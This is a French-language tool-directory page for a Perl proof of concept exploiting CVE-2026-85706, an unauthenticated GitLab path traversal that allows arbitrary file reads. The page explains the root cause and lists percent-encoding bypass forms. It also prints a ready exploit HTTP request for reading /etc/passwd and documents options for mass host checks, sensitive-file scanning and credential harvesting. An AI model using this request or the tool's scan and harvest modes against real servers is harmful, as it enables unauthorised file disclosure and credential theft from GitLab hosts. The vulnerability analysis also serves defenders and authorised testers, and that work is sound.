Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-85706 — PoC Perl exploitant CVE-2026-85706, une traversée de chemin GitLab non authentifiée permettant la lecture arbitraire de fichiers, avec analyse en masse et collecte d'identifiants. | Kitploit
Outils/GitHubGitHub/gabrielunknown/cve-2026-85706
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebTests d'IntrusionRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

48il y a 1 moisPas encore vérifié

PoC Perl exploitant CVE-2026-85706, une traversée de chemin GitLab non authentifiée permettant la lecture arbitraire de fichiers, avec analyse en masse et collecte d'identifiants.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-85706 — Lecture arbitraire de fichiers non authentifiée dans GitLab

CVSS GitLab License MITRE

Uniquement pour les tests d'intrusion autorisés et les opérations Red Team.
Toute utilisation non autorisée constitue une infraction pénale. Voir Mentions légales.


Aperçu

CVE-2026-85706 est une vulnérabilité de traversée de chemin (path traversal) de score CVSS 10.0 affectant les éditions Community et Enterprise de GitLab, qui permet à un attaquant totalement non authentifié de lire des fichiers arbitraires du système de fichiers du serveur avec une seule requête HTTP. Aucun identifiant, aucun jeton, aucune interaction utilisateur requis.

  • Divulguée : 10 septembre 2026
  • Première exploitation observée : 11 septembre 2026 (moins de 6 heures après la divulgation)
  • Ajout au catalogue CISA KEV : 11 septembre 2026
  • Corrigée dans : GitLab 19.1.8 / 19.2.6 / 19.3.2

Versions affectées

BranchePlage vulnérableCorrigée dans
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

Analyse technique

Contexte de l'architecture

La pile HTTP de GitLab comporte trois couches :

Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

Workhorse agit comme un reverse proxy intelligent : pour certains points de terminaison « upload » (commits de dépôt, opérations sur les fichiers), il lit les corps de requête multipart, enregistre les données de fichier sur disque et réécrit la requête avant de la transmettre à Puma. Point crucial : il attache un en-tête JWT (Gitlab-Workhorse-Api-Request) à chaque requête qu'il proxifie. Rails valide ensuite ce JWT (via require_gitlab_workhorse!) avant d'exécuter toute logique de gestionnaire.

Cause racine — Incohérence de décodage de chemin à trois niveaux

Niveau 1 — Correspondance de route Workhorse :
Workhorse fait correspondre les chemins de requête à l'aide d'une expression régulière compilée qui opère sur la chaîne d'octets brute, encodée en pourcentage. Il ne décode PAS les séquences %XX avant la correspondance.

Niveau 2 — Routage Puma/Rack :
Puma décode les séquences %XX avant que Grape ne route la requête. Ainsi, une requête vers /repository/%63ommits est décodée en /repository/commits et routée vers CommitsController.

Niveau 3 — Lecture de fichier avant authentification :
Une fois dans le gestionnaire Rails (atteint sans le JWT de Workhorse, car Workhorse n'a jamais fait correspondre la requête), le gestionnaire lit params[:file][:path] depuis la chaîne de requête et appelle :

File.open(params[:file][:path])   # ← happens BEFORE authentication

L'astuce de contournement

En encodant en pourcentage un caractère dans un segment de chemin statique, la requête de l'attaquant échappe à la détection de Workhorse :

SegmentOriginalForme de contournementCaractère encodé
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(any)commitscommits/barre oblique finale
(any)commitscommits.jsonsuffixe Grape

Mécanisme d'exfiltration de contenu

Une fois le fichier ouvert, le contenu est exfiltré via l'analyseur de chaîne de requête de Rack :

Rack::Utils.parse_nested_query(File.read(path))

Si le fichier contient un % non suivi de deux chiffres hexadécimaux valides (ce qui est courant dans les fichiers de configuration Ruby, les YAML de CI, les journaux, etc.), Rack lève :

InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

Ce corps de réponse de 400 contient le contenu brut du fichier jusqu'à l'octet fautif inclus — révélant le contenu du fichier à l'appelant non authentifié.

Les fichiers sans séquences % exploitables (par exemple, un /etc/passwd propre) renvoient une erreur 401 ou de validation de paramètre après la lecture : cela agit comme un oracle d'existence de fichier (la lecture a tout de même eu lieu avant l'authentification).

Structure de la requête d'exploitation

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

MITRE ATT&CK Mapping

TechniqueIDImplémentation dans ce PoC
File and Directory DiscoveryT1083Le mode --scan sonde 38 chemins serveur sensibles
Credentials In FilesT1552.001--harvest extrait les clés/tokens/mots de passe du contenu divulgué

Installation

Prérequis

ModulePaquetRôle
LWP::UserAgentlibwww-perlClient HTTP (obligatoire)
LWP::Protocol::httpslibwww-perlPrise en charge HTTPS (obligatoire)
URI::Escapeliburi-perlEncodage des chaînes de requête (obligatoire)
Term::ANSIColorlibterm-ansicolor-perlSortie colorée (facultatif)
JSONlibjson-perlMode de sortie JSON (facultatif)
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

Utilisation

Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output
Télécharger l’outil